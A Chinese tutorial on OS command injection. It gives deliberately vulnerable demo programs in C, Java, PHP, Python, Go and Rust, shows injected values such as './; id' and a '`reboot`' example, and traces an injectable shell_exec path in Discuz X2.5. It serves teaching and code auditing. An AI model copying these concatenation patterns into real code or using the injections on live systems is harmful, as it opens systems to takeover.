命令注入漏洞介绍

漏洞简介

本篇文章以Linux环境为背景,暂不讨论Windows环境的情况。

命令注入(操作系统命令注入)是一种注入类型漏洞,是指用户输入的数据(命令)被程序拼接并传递给执行操作系统命令的函数执行。编程语言如C/C++,Java, PHP, Python, Go, Rust等,都支持执行系统命令,所以都有可能存在命令注入漏洞。注入的命令以应用程序的当前权限被执行,如果应用程序是使用root权限执行,那么注入的命令也是以root执行。

我们平时讲的RCE漏洞,R是指Remote,C可以指代Code也可以指代Command,E是指Execution,所以远程命令执行(Remote Command Execution)也是RCE的一种。

命令注入不同于代码注入,代码注入是注入代码并执行代码,常见于解释型语言如java,python,php等,命令注入是注入操作系统命令并执行命令。

漏洞成因

开发人员在编写代码时,有时候需要执行系统命令,或者是执行某个二进制程序/脚本,来实现预期的目标。比如配置一个ip,使能某个功能等。

我们可以把代码分为三类

很明显,I和II类是不会造成命令注入的,只有第III类可能存在命令注入,无论做测试还是代码审计,都把重点放在第III类的情况下。

下面我们来看看各种语言里,都有哪些函数支持执行系统命令,我选了几个主流的语言进行分析,分别是C/C++,Java, PHP, Python, Go以及Rust。

C/C++

C/C++ 在Linux环境,有三种常用的方式执行系统命令,分别是system,popen和exec家族函数。[1]

下面分别是这三个函数的man页面

SYNOPSIS
       #include <stdlib.h>

       int system(const char *command);
SYNOPSIS
       #include <stdio.h>

       FILE *popen(const char *command, const char *type);

       int pclose(FILE *stream);
SYNOPSIS
       #include <sys/types.h>
       #include <unistd.h>

       pid_t fork(void);

SYNOPSIS
       #include <unistd.h>

       extern char **environ;

       int execl(const char *pathname, const char *arg, ...
                       /* (char  *) NULL */);
       int execlp(const char *file, const char *arg, ...
                       /* (char  *) NULL */);
       int execle(const char *pathname, const char *arg, ...
                       /*, (char *) NULL, char *const envp[] */);
       int execv(const char *pathname, char *const argv[]);
       int execve(const char *pathname, char *const argv[],
                       char *const envp[]);       
       int execvp(const char *file, char *const argv[]);
       int execvpe(const char *file, char *const argv[],
                       char *const envp[]);

system和popen都很简单,针对exec家族函数,这个家族函数还蛮多的,很不好记住,我在stackoverflow查到一段针对exec家族函数的解释[2]

L vs V: whether you want to pass the parameters to the exec'ed program as

L: individual parameters in the call (variable argument list): execl(), execle(), execlp(), and execlpe()
V: as an array of char* execv(), execve(), execvp(), and execvpe()
The array format is useful when the number of parameters that are to be sent to the exec'ed process are variable -- as in not known in advance, so you can't put in a fixed number of parameters in a function call.

E: The versions with an 'e' at the end let you additionally pass an array of char* that are a set of strings added to the spawned processes environment before the exec'ed program launches. Yet another way of passing parameters, really.

P: The versions with 'p' in there use the environment variable PATH to search for the executable file named to execute. The versions without the 'p' require an absolute or relative file path to be prepended to the filename of the executable if it is not in the current working directory.

简单来讲,exec家族可以分为两个阵营,execl和execv,后缀l代表参数是挨个传送,后缀v代表参数是通过字符串数组传送。

而execl和execv各自又可以分为两个阵营,execl可以分为execle和execlp,execv可以分为execve,execvp以及execvpe。

后缀p代表是否支持PATH环境变量搜索程序,后缀e代表是否输入环境变量,当然pe和可以一起用的,典型的例子就是execvpe函数。

下面,我写了一个带有命令注入的C语言的例子,用于说明一般场景下命令注入漏洞是什么样的。

C演示代码cmdi.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
    if (argc < 2) {
        printf("usage: %s param1 [param2 ...[param n]]\n", argv[0]);
        return -1;
    }

    char cmdbuf[128] = {0};
    snprintf(cmdbuf, sizeof(cmdbuf), "ls %s", argv[1]);

    puts("call system function:");
    system(cmdbuf);

    puts("\ncall popen function:");
    FILE *fp = popen(cmdbuf, "r");
    char readbuf[2048] = {0};
    fread(readbuf, 1, 2048, fp);
    puts(readbuf);
    pclose(fp);

    int pid = fork();
    if (pid > 0) {
        sleep(1);
    } else if (pid == 0) {
        puts("call execve function:");
        execl("/bin/sh", "sh", "-c", cmdbuf, NULL);
    }
    return 0;    
}

验证C命令注入

首先编译cmdi.c,然后命令行执行./cmdi ‘./; id’, 注意一点,参数是需要加单引号,或者双引号的,否则注入的命令 ;id 会被当前的shell解析,而不是传给cmd当作参数。

root@kali:~/Desktop/cmdi# gcc cmdi.c -o cmdi
root@kali:~/Desktop/cmdi# ./cmdi './; id'
call system function:
cmdi  cmdi.c  cmdi.class  cmdi.java  cmdi.py
uid=0(root) gid=0(root) groups=0(root)

call popen function:
cmdi
cmdi.c
cmdi.class
cmdi.java
cmdi.py
uid=0(root) gid=0(root) groups=0(root)

call execve function:
cmdi  cmdi.c  cmdi.class  cmdi.java  cmdi.py
uid=0(root) gid=0(root) groups=0(root)

需要注意的是,exec家族函数,一般情况下是不太会有命令注入漏洞的,除非执行的程序本身存在漏洞,但是有个特殊情况是执行的程序是解释器,比如sh,python,perl等,是可以通过参数注入达到命令注入的效果。

上述例子中,最后一段代码就是一个典型的例子,如果代码是这么写的话,还是会存在命令注入的。

execl("/bin/sh", "sh", "-c", cmdbuf, NULL);
或者
execve("/bin/sh", argv, NULL);

反之,如果是下面这么调用,除非ls程序本身存在漏洞,否则通过参数注入命令,是不会被解析执行的。

execve("/bin/ls", argv, NULL);

Java

Java执行系统命令有两个方式,ProcessBuilder和Runtime exec。

这两种执行命令方式基本使用情况如下

ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
Runtime.getRuntime().exec(cmdList);

下面来看看存在命令注入的Java演示代码。

Java演示代码cmdi.java

import java.io.*;

public class cmdi {
    public static void main(String[] args) {
        if (args.length < 1) {
            System.out.println("usage: java cmdi param");
            return;
        }

        String[] cmdList = new String[]{"sh", "-c", "ls -al " + args[0]};
        ProcessBuilder builder = new ProcessBuilder(cmdList);
        builder.redirectErrorStream(true);
        Process process;
        try {
            process = builder.start();
        } catch (IOException e){
            return;
        }

        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        String line;
        try {
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
        } catch (Exception e) {
            return;
        }

        try {
            process = Runtime.getRuntime().exec(cmdList);
        } catch (Exception e) {
            return;
        }
        reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        try {
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
        } catch (Exception e) {
            return;
        }
    }
}

通过javac把java编译为字节码class文件,通过java运行class文件,在参数中构造命令注入,发现注入的命令被执行了。

和C语言的例子类似,传递给java程序的参数在shell命令行中也需要单双引号,这里用了双引号,C语言的例子中用了单引号,都是可行的。

如果不加双引号,在shell中执行java cmdi ./; id, 会被shell以为是先执行java cmdi ./命令, 接下来再执行id命令,这样就失去了验证命令注入的本意。

验证Java命令注入

root@kali:~/Desktop/cmdi# javac cmdi.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
root@kali:~/Desktop/cmdi# 
root@kali:~/Desktop/cmdi# java cmdi "./; id"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
total 44
drwxr-xr-x 2 root root  4096 Apr 23 23:15 .
drwxr-xr-x 5 root root  4096 Apr 11 00:51 ..
-rwxr-xr-x 1 root root 17040 Apr 23 23:02 cmdi
-rw-r--r-- 1 root root   754 Apr 23 23:02 cmdi.c
-rw-r--r-- 1 root root  1921 Apr 23 23:38 cmdi.class
-rw-r--r-- 1 root root  1070 Apr 23 23:38 cmdi.java
-rw-r--r-- 1 root root   302 Apr 11 05:14 cmdi.py
uid=0(root) gid=0(root) groups=0(root)
total 44
drwxr-xr-x 2 root root  4096 Apr 23 23:15 .
drwxr-xr-x 5 root root  4096 Apr 11 00:51 ..
-rwxr-xr-x 1 root root 17040 Apr 23 23:02 cmdi
-rw-r--r-- 1 root root   754 Apr 23 23:02 cmdi.c
-rw-r--r-- 1 root root  1921 Apr 23 23:38 cmdi.class
-rw-r--r-- 1 root root  1070 Apr 23 23:38 cmdi.java
-rw-r--r-- 1 root root   302 Apr 11 05:14 cmdi.py
uid=0(root) gid=0(root) groups=0(root)

看上面有漏洞的例子,ProcessBuilder的参数中String[] cmdList = new String[]{“sh”, “-c”, “ls -al “ + args[0]};

只有注入的字符串是拼接在一起,并作为第三个参数才能注入成功,如果是第四个或其他参数,即使有用户输入,也不会被当作命令执行。

更多关于Java的命令注入可查看参考材料[6]

PHP

PHP执行系统命令的函数有system, exec, passthru, proc_open, shell_exec, popen, pcntl_exec, 反引号 ``。 这些函数的定义如下[7],[8]

string system ( string $command [, int &$return_var ] )
string exec ( string $command [, array &$output [, int &$return_var ]] )
void passthru (string command, int &return_var)
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
string shell_exec (string command)
resource popen ( string $command , string $mode )
void pcntl_exec ( string $path [, array $args [, array $envs ]] )

PHP supports one execution operator: backticks (``).PHP will attempt to execute the contents of the backticks as a shell command; the output will be returned.

PHP演示代码cmdi.php

<?php
	$line = fread(STDIN, 1024);
	$cmd = "ls -a ".$line;

	
	echo "Call system \n";
	system($cmd);

	echo "\n\nCall exec\n";
	exec($cmd, $ret);
	print_r($ret);

	echo "\n\nCall passthru\n";
	passthru($cmd);

	echo "\n\nCall proc_open\n";
	$descriptorspec = array(
		0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
		1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
		2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to
	);
	$process = proc_open($cmd, $descriptorspec, $pipes);
	if (is_resource($process)) {
		echo stream_get_contents($pipes[1]);
	}

	echo "\n\nCall shell_exec\n";
	$ret = shell_exec($cmd);
	echo $ret;

	echo "\n\nCall popen\n";
	$ret = popen($cmd, "r");
	$msg = fread($ret, 2048);
	echo $msg;
	$msg = fread($ret, 2048);
	echo $msg;

	echo "\n\nCall ` `\n";
	$ret = `$cmd`;
	echo $ret;

	echo "\n\nCall pcntl_exec\n";
	$args = array("-c", $cmd);
	pcntl_exec("/bin/sh", $args);

验证PHP命令注入

root@kali:~/Desktop/cmdi# php cmdi.php 
./;id
Call system 
.
..
cmdi_C
cmdi_C.c
cmdi.class
cmdi.java
cmdi.php
uid=0(root) gid=0(root) groups=0(root)


Call exec
Array
(
    [0] => .
    [1] => ..
    [2] => cmdi_C
    [3] => cmdi_C.c
    [4] => cmdi.class
    [5] => cmdi.java
    [6] => cmdi.php
    [7] => uid=0(root) gid=0(root) groups=0(root)
)


Call passthru
.
..
cmdi_C
cmdi_C.c
cmdi.class
cmdi.java
cmdi.php
uid=0(root) gid=0(root) groups=0(root)


Call proc_open
.
..
cmdi_C
cmdi_C.c
cmdi.class
cmdi.java
cmdi.php
uid=0(root) gid=0(root) groups=0(root)


Call shell_exec
.
..
cmdi_C
cmdi_C.c
cmdi.class
cmdi.java
cmdi.php
uid=0(root) gid=0(root) groups=0(root)


Call popen
.
..
cmdi_C
cmdi_C.c
cmdi.class
cmdi.java
cmdi.php
uid=0(root) gid=0(root) groups=0(root)


Call ` `
.
..
cmdi_C
cmdi_C.c
cmdi.class
cmdi.java
cmdi.php
uid=0(root) gid=0(root) groups=0(root)


Call pcntl_exec
.  ..  cmdi_C  cmdi_C.c  cmdi.class  cmdi.java	cmdi.php
uid=0(root) gid=0(root) groups=0(root)

有一点要注意,在调用popen的时候,因为有命令注入,所有要多次调用fread把管道的数据读出来,不然会报错,这导致不会那么巧合刚好带漏洞的代码也多次读取。所以个人感觉popen出现命令注入的可能性比其他函数稍微小一些。

Python

python语言支持执行系统命令的模块有好多个,比较常用的有os,commands,subprocess,另外还有很多如pty,shlex,sh,plumbum,pexpect,fabric,envoy等等,太多支持命令执行的模块会导致一个潜在的问题,那就是做静态代码分析,是否能监控到使用了不再上述范围的模块,该模块又能够执行系统命令。

能够执行系统命令的模块链接信息如下[5]

os: https://docs.python.org/3.5/library/os.html
commands: https://docs.python.org/2/library/commands.html
subprocess: https://docs.python.org/3.5/library/subprocess.html
shlex: https://docs.python.org/3/library/shlex.html
sh: https://amoffat.github.io/sh/
plumbum: https://plumbum.readthedocs.io/en/latest/
pexpect: https://pexpect.readthedocs.io/en/stable/
fabric: http://www.fabfile.org/
envoy: https://github.com/kennethreitz/envoy

常见的能够执行系统命令的函数如下[4]

os.system()
os.popen()
os.posix_spawn*()
os.spawn*()
subprocess.run()
subprocess.Popen()
subprocess.call()
subprocess.check_call()
subprocess.check_output()
subprocess.getstatusoutput()
subprocess.getoutput()
commands.getoutput()
commands.getstatusoutput()
pty.spawn()
...

注意,commands模块在python3中已经被弃用。

能够执行系统命令的函数定义[9]

os.system(command)
os.popen(cmd, mode='r', buffering=-1)

subprocess.run(args, *, stdin=None, input=None, stdout=None, stderr=None, capture_output=False, shell=False, cwd=None, timeout=None, check=False, encoding=None, errors=None, text=None, env=None, universal_newlines=None, **other_popen_kwargs)

class subprocess.Popen(args, bufsize=-1, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=True, shell=False, cwd=None, env=None, universal_newlines=None, startupinfo=None, creationflags=0, restore_signals=True, start_new_session=False, pass_fds=(), *, group=None, extra_groups=None, user=None, umask=-1, encoding=None, errors=None, text=None)

subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False, cwd=None, timeout=None, **other_popen_kwargs)

subprocess.check_call(args, *, stdin=None, stdout=None, stderr=None, shell=False, cwd=None, timeout=None, **other_popen_kwargs)

subprocess.check_output(args, *, stdin=None, stderr=None, shell=False, cwd=None, encoding=None, errors=None, universal_newlines=None, timeout=None, text=None, **other_popen_kwargs)

subprocess.getstatusoutput(cmd)

subprocess.getoutput(cmd)

pty.spawn(argv[, master_read[, stdin_read]])

...

Python演示代码cmdi.py

import os
import subprocess
import pty
import sys

if len(sys.argv) < 2:
    print("usage: python3 cmdi.py param1 [...]")
    exit(1)

cmd = "ls -a " + sys.argv[1]

print("Call os.system:")
os.system(cmd)

print("\nCall os.popen:")
ret = os.popen(cmd)
print(ret.read())

print("\nCall subprocess.Popen:")
p = subprocess.Popen(["/bin/sh", "-c", cmd], stdout=subprocess.PIPE)
output, _ = p.communicate()
print(output.decode())

print("\nCall subprocess.call:")
subprocess.call([cmd], shell=True)

print("\nCall pty.spawn:")
pty.spawn(["/bin/sh", "-c", cmd])

验证Python命令注入

root@kali:~/Desktop/cmdi# python3 cmdi.py "./;id"
Call os.system:
.  ..  a.out  cmdi_C  cmdi_C.c	cmdi.class  cmdi.java  cmdi.php  cmdi.py
uid=0(root) gid=0(root) groups=0(root)

Call os.popen:
.
..
a.out
cmdi_C
cmdi_C.c
cmdi.class
cmdi.java
cmdi.php
cmdi.py
uid=0(root) gid=0(root) groups=0(root)


Call subprocess.Popen:
.
..
a.out
cmdi_C
cmdi_C.c
cmdi.class
cmdi.java
cmdi.php
cmdi.py
uid=0(root) gid=0(root) groups=0(root)


Call subprocess.call:
.  ..  a.out  cmdi_C  cmdi_C.c	cmdi.class  cmdi.java  cmdi.php  cmdi.py
uid=0(root) gid=0(root) groups=0(root)

Call pty.spawn:
.  ..  a.out  cmdi_C  cmdi_C.c	cmdi.class  cmdi.java  cmdi.php  cmdi.py
uid=0(root) gid=0(root) groups=0(root)

Python要特别关注的问题还是上面提到的,有太多模块支持命令执行。该如何做到全面监控,防止意外命令注入漏洞存在,是个需要认真思考的问题。

Python命令注入的补充说明

执行命令的函数,无论是system系还是exec系,如果是调用解释器,那么要注意,比如sh -c ls -al ./这样的形式,解释器只会执行ls命令,而不会带后面的参数。见下面code1,exe1。

除非命令是用引号包含如sh -c “ls -al ./”, 或者sh -c ‘ls -al ./’,才会执行完整的命令。这是sh -c命令的特点。见下面code2,exe2。

另外,有些函数调用形式上有点类似system系函数,但实际是内部是对exec系函数的封装。

code1

import subprocess
import sys

if len(sys.argv) < 2:
    exit(1)

cmd = sys.argv[1]
p = subprocess.Popen(["sh -c ls -al " + cmd], stdout=subprocess.PIPE, shell=True)
output, _ = p.communicate()
print(output.decode())

exe1

root@kali:~/Desktop/cmdi# python3 cmdi.py '`whoami`'
cmdi
cmdi.c
cmdi.class
cmdi.java
cmdi.py

code2

import subprocess
import sys

if len(sys.argv) < 2:
    exit(1)

cmd = sys.argv[1]
p = subprocess.Popen(["sh -c \"ls -al " + cmd + "\""], stdout=subprocess.PIPE, shell=True)
output, _ = p.communicate()
print(output.decode())

exe2

root@kali:~/Desktop/cmdi# python3 cmdi.py '`whoami`'
ls: cannot access 'root': No such file or directory

Python的shell=True

在Python中,有些命令执行函数有一个参数是shell,这个参数可以配置True和False。比如subprocess.Popen, subprocess.call等函数。

这里shell参数False和True的区别在于,shell=True参数表示Popen会在shell中去执行list中的第一个元素,当shell=False时,subprocess.call只接受数组变量作为命令,并将list的第一个元素作为可执行程序,剩下的全部作为该程序的参数。

上面的两个例子code1,code2中,当shell=False是无法被执行的,当shell=False时,subprocess.Popen会把列表的第一个元素当成可执行程序,也就是把”sh -c ls -al …“这一串字符串当作一个程序,系统当然是找不到这个程序的,所以无法找执行成功。

而当shell=True时,Popen会把[“sh -c ls -al “ + cmd]这个list的第一个元素放到shell中执行,所以最终得到的结果把执行sh进程,参数分别是 -c ls -al cmd,回到上文提到的,这里执行的结果是仅执行ls,后面的参数无效。如果要让后面的参数有效,应该在-c之后,用单引号或者双引号把参数引起来。

在shell=True时,subprocess.Popen就是system系函数,如下代码所示:

import subprocess
import sys

if len(sys.argv) < 2:
    exit(1)

cmd = sys.argv[1]
p = subprocess.Popen(["ls -al " + cmd], stdout=subprocess.PIPE, shell=True)
output, _ = p.communicate()
print(output.decode())

执行结果

root@kali:~/Desktop/cmdi# python3 cmdi.py "; id"
total 44
drwxr-xr-x 2 root root  4096 Apr 24 00:41 .
drwxr-xr-x 5 root root  4096 Apr 11 00:51 ..
-rwxr-xr-x 1 root root 17040 Apr 23 23:02 cmdi
-rw-r--r-- 1 root root   754 Apr 23 23:02 cmdi.c
-rw-r--r-- 1 root root  1921 Apr 23 23:38 cmdi.class
-rw-r--r-- 1 root root  1253 Apr 23 23:38 cmdi.java
-rw-r--r-- 1 root root   300 Apr 24 00:41 cmdi.py
uid=0(root) gid=0(root) groups=0(root)

在shell=False时,比如subprocess.Popen([“ls”, “-al”, cmd], shell=False),结果会执行ls -al …(cmd)…, 但是这种情况,除非ls有漏洞,否则不存在注入可能性。此时subprocess.Popen就是exec系函数。如下代码所示:

import subprocess
import sys

if len(sys.argv) < 2:
    exit(1)

cmd = sys.argv[1]
p = subprocess.Popen(["ls", "-al", cmd], stdout=subprocess.PIPE, shell=False)
output, _ = p.communicate()
print(output.decode())

执行结果

root@kali:~/Desktop/cmdi# python3 cmdi.py "; id"
ls: cannot access '; id': No such file or directory

又回到我重复提到的情况,如果exec函数执行解释器,还是可能存在命令注入的。如下代码所示:

root@kali:~/Desktop/cmdi# cat cmdi.py
import subprocess
import sys

if len(sys.argv) < 2:
    exit(1)

cmd = sys.argv[1]
p = subprocess.Popen(["sh", "-c", "ls -al " + cmd], stdout=subprocess.PIPE, shell=False)
output, _ = p.communicate()
print(output.decode())

执行结果

root@kali:~/Desktop/cmdi# python3 cmdi.py "; id"
total 44
drwxr-xr-x 2 root root  4096 Apr 24 00:47 .
drwxr-xr-x 5 root root  4096 Apr 11 00:51 ..
-rwxr-xr-x 1 root root 17040 Apr 23 23:02 cmdi
-rw-r--r-- 1 root root   754 Apr 23 23:02 cmdi.c
-rw-r--r-- 1 root root  1921 Apr 23 23:38 cmdi.class
-rw-r--r-- 1 root root  1253 Apr 23 23:38 cmdi.java
-rw-r--r-- 1 root root   223 Apr 24 00:47 cmdi.py
uid=0(root) gid=0(root) groups=0(root)

Go

Go语言目前我查到的大多都只说exec.Command这种方式执行命令。Go还有一种方式执行命令syscall.Exec,下面例子将介绍这两种方式。[10]

Go演示代码cmdi_GO.go

package main

import (
	"fmt"
	"bytes"
	"os"
	"os/exec"
	"syscall"
)

func main() {
	if len(os.Args) < 2 {
		fmt.Printf("usage: cmdi_GO param1")
		os.Exit(1)
	}
	command := exec.Command("sh", "-c", "ls -al " + os.Args[1])
	out := bytes.Buffer{}
	command.Stdout = &out

	command.Run()
	fmt.Println(out.String())

	args := []string{"sh", "-c", "ls -a " + os.Args[1]}
	syscall.Exec("/bin/sh", args, os.Environ())
}

验证Go命令注入

root@kali:~/Desktop/cmdi# go build -o cmdi_GO cmdi_GO.go
root@kali:~/Desktop/cmdi# ./cmdi_GO "./;id"
total 2368
drwxr-xr-x 2 root root    4096 Apr  9 03:00 .
drwxr-xr-x 6 root root    4096 Apr  7 23:14 ..
-rw-r--r-- 1 root root       0 Apr  8 22:16 a.out
-rwxr-xr-x 1 root root   17048 Apr  8 02:01 cmdi_C
-rw-r--r-- 1 root root     673 Apr  8 00:41 cmdi_C.c
-rwxrwxrwx 1 root root    1961 Apr  8 07:53 cmdi.class
-rwxr-xr-x 1 root root 2369716 Apr  9 03:00 cmdi_GO
-rw-r--r-- 1 root root     463 Apr  9 03:00 cmdi_GO.go
-rwxrwxrwx 1 root root    1134 Apr  8 07:53 cmdi.java
-rw-r--r-- 1 root root     980 Apr  8 09:39 cmdi.php
-rwxrwxrwx 1 root root     584 Apr  8 23:09 cmdi.py
uid=0(root) gid=0(root) groups=0(root)

.  ..  a.out  cmdi_C  cmdi_C.c	cmdi.class  cmdi_GO  cmdi_GO.go  cmdi.java  cmdi.php  cmdi.py
uid=0(root) gid=0(root) groups=0(root)

RUST

RUST算是比较小众的语言了,笔者之所以把RUST加进来是考虑到RUST的发展趋势以及内存安全的特性,未来可能成为底层主流语言。

RUST语言,查到的信息是std::process模块Command类支持执行系统命令,下面是针对这个方法的演示。[11],[12]

Rust演示代码cmdi_RS.rs

use std::process::Command;
use std::env;

fn main() {
    let args: Vec<String> = env::args().collect();
    let mut cmd = "ls -a ".to_string();
    cmd += &args[1];
    let process = Command::new("sh")
            .arg("-c")
            .arg(&cmd)
            .output()
            .expect("failed to execute process");
    let s = match std::str::from_utf8(&process.stdout) {
        Ok(v) => v,
        Err(e) => panic!("Invalid UTF-8 sequence: {}", e),
    };
    println!("{}", s);
}

验证Rust命令注入

root@kali:~/Desktop/cmdi# rustc cmdi_RS.rs -o cmdi_RS
root@kali:~/Desktop/cmdi# ./cmdi_RS './; id'
.
..
cmdi
cmdi.c
cmdi.class
cmdi.java
cmdi.py
cmdi_RS
cmdi_RS.rs
uid=0(root) gid=0(root) groups=0(root)

漏洞代码总结

我们可以把命令执行的函数分为两个系列,分别是system系,和exec系。而每个系列又可以分为执行解释器和执行非解释器。解释器(如bash, python, perl等)后可以执行命令。

这样就有四种可能性

system系函数

system系函数比如C语言的system函数,Python语言的os.system函数等,这些函数接收一个完整的命令字符串。在Python中shell=True的情况和直接调用os.system函数是类似的。这种情况下,无论是否执行解释器,如果没有做适当的过滤,命令拼接并执行过程,都有可能存在命令注入。

exec系函数

通过exec系函数执行解释器 –> 存在命令注入可能性较大

通过exec系函数执行非解释器 –> 存在命令注入可能性较小

命令注入测试

我们要知道,命令注入并不是Web特有,所有能执行系统系统命令的程序都可能有命令注入漏洞。

理论上讲,通过白盒代码审计是最简单的排查命令注入的方式。

在接触不到源码的情况下,还可以通过黑盒遍历payload的方式检测命令注入,黑盒的模式下,所有用户可控的点都需要进行遍历测试。

基于静态代码分析的白盒检测

我选择一个PHP系统进行命令注入白盒审计演示,为了让成果凸显一些,我刻意找到一个存在命令注入的系统Discuz_X2.5_SC来进行分析。

白盒检测的辅助工具有很多,我选择用Seay源代码审计系统来演示。Seay的理念很简单,遍历所有的源代码,找出关键的字,比如针对命令注入,找到关键函数system, exec, shell_exec等,显示出来,双击可进入文件浏览到对应代码行。本质上和grep搜索类似,只是相对来说操作更友好一些。[13]

首先,我去下载Discuz_X2.5 http://download.comsenz.com/DiscuzX/2.5/Discuz_X2.5_SC_UTF8.zip

接着我去下载Seay源代码审计系统2.1 https://github.com/f1tz/cnseay。[14]

安装并打开seay,新建项目 –> 自动审计 –> 开始,等待几分钟使扫描进度为100%。

点击漏洞描述,让结果以漏洞描述排序,如下图所示

我们的目标是命令注入,依次查看所有漏洞描述为命令注入的行,最终找到可能存在命令注入的代码如下图所示 图1 命令注入疑似代码

图2 命令注入疑似代码

从工具审计结果来看,真正需要排除确认的点并不是很多,这也可以理解,毕竟执行命令的需求并不会特别多,如果有大量的命令执行,倒不如直接写一个shell脚本,在代码中调用脚本来得方便。

接下来逐行排查每个疑似存在命令注入的代码。

图1中所有的疑似代码都是因为代码中有反引号,逐行排查后,发现这些代码都是和数据库操作有关。在mysql语句中反引号`的作用是避免表名字段名与mysql已存在的保留字冲突,引起不知名错误。所有可以确定图1的均为假阳性,误报。

图2只有四处可疑代码,逐行去分析, 最终发现id为116的可疑漏洞,双击审计源码,定位到admincp_db.php的196行

@shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($_GET['extendins'] == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $_GET['sqlcompat'] == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);

逐个参数去分析,最终发现倒数第二个参数$tablesstr在admincp_db.php的281-284行被赋值

281			$tablesstr = '';
282			foreach($tables as $table) {
283				$tablesstr .= '"'.$table.'" ';
284			}

再去找$tables, 在admincp_db.php的134-148行被赋值

134		$time = dgmdate(TIMESTAMP);
135		if($_GET['type'] == 'discuz' || $_GET['type'] == 'discuz_uc') {
136			$tables = arraykeys2(fetchtablelist($tablepre), 'Name');
137		} elseif($_GET['type'] == 'custom') {
138			$tables = array();
139			if(empty($_GET['setup'])) {
140				$tables = C::t('common_setting')->fetch('custombackup', true);
141			} else {
142				C::t('common_setting')->update('custombackup', empty($_GET['customtables'])? '' : $_GET['customtables']);
143				$tables = & $_GET['customtables'];
144			}
145			if( !is_array($tables) || empty($tables)) {
146				cpmsg('database_export_custom_invalid', '', 'error');
147			}
148		}

上面代码逻辑是判断GET参数中type是不是’custom’,如果是,判断GET参数中setup是不是空,如果非空,则把GET参数中customtables赋值给$tables

到这里,就可以判断这里是存在注入点的。至于要如何利用,还需要分析调用栈,设法让程序执行到admincp_db.php的196行,也就是执行命令的代码,构造恶意的参数值,完成命令注入。

这种代码审计方式的特点是根据你搜索的关键字,可以遍历所有可能存在命令注入的点,挨个排查后,可以确保系统不存在命令注入。但是这样也有几个明显的缺点。

讲到静态代码分析,又可以扩展到DAST(Dynamic Application Security Testing),SAST(Static Application Security Testing)和IAST(Interactive Application Security Testing)这三种应用安全测试方法。简单来说,AWVS,APPScan属于DAST,Coverity,RIPS,VisualCodeGrepper,Fortify SCA等属于SAST,其他基于代理和插桩的工具如xray,AWVS集成“AcuSensor”模块,AppScan集成“Glass Box”服务模块实现IAST。本文不对三个概念进行展开分析,有兴趣读者可以查看参考材料[15]。

本节“基于静态代码分析的白盒检测”可以归类为SAST技术。关于SAST的更多内容,有兴趣的读者可以查看参考材料[16]。

基于payload的黑盒检测

理论上针对命令注入的测试,最佳的方式还是做代码审计,但是有些时候确实是无法查看到源代码,这种背景下,另一种命令注入的测试方式就是基于payload的黑盒测试。

这里要补充一句,因为是黑盒测试,那就有可能我们把payload添加的键值对的值中发给服务器,如果服务器校验不严格,可能会修改到某个配置,最终可能导致系统异常甚至拒绝服务,比如把ip修改成了192.168.1.1`reboot`, 黑盒测试是有这种风险的,所以测试之前一定要谨慎,最好在测试环境进行测试,另外测试之前最好做各种配置文件,数据库的备份操作。

我们以一个POST请求举例来说

POST /mp/getappmsgext?f=json&mock=&uin=&key=&pass_ticket=&wxtoken=777&devicetype=&clientversion=&__biz=Mz%3D%3D&appmsg_token=&x5=0&f=json HTTP/1.1
Host: mp.xxx.bb.com
Connection: close
Content-Length: 621
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: https://mp.xxx.bb.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: 
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7,zh;q=0.6
Cookie: pgv_pvi=638; RK=jea; ptcz=29f4; pgv_pvid=896; h_uid=h54; tvfe_boss_uuid=7d85; rewardsn=; wxtokenkey=777

r=0.5378963&__biz=Mz%3D%3D&appmsg_type=9&mid=22882&sn=&idx=1&scene=&title=%25E&ct=16161408&abtest_cookie=&devicetype=&version=&is_need_ticket=0&is_need_ad=0&comment_id=17871542&is_need_reward=0&both_ad=0&reward_uin_count=0&send_time=&msg_daily_idx=1&is_original=0&is_only_read=1&req_id=1010xGpJ&pass_ticket=&is_temp_url=0&item_show_type=0&tmp_version=1&more_read_type=0&appmsg_like_type=2&related_video_sn=&related_video_num=5&vid=&is_pay_subscribe=0&pay_subscribe_uin_count=0&has_red_packet_cover=0&album_id=12630&album_video_num=5&cur_album_id=undefined&is_public_related_video=undefined&encode_info_by_base64=undefined

请求样例1

对于上面的请求,我们是不是可以假设有很多地方都可能被后台代码处理,都可能存在命令注入,从上到下URI中键值对的值,到header中Cookie键值对的值,以及后面body中键值对的值。

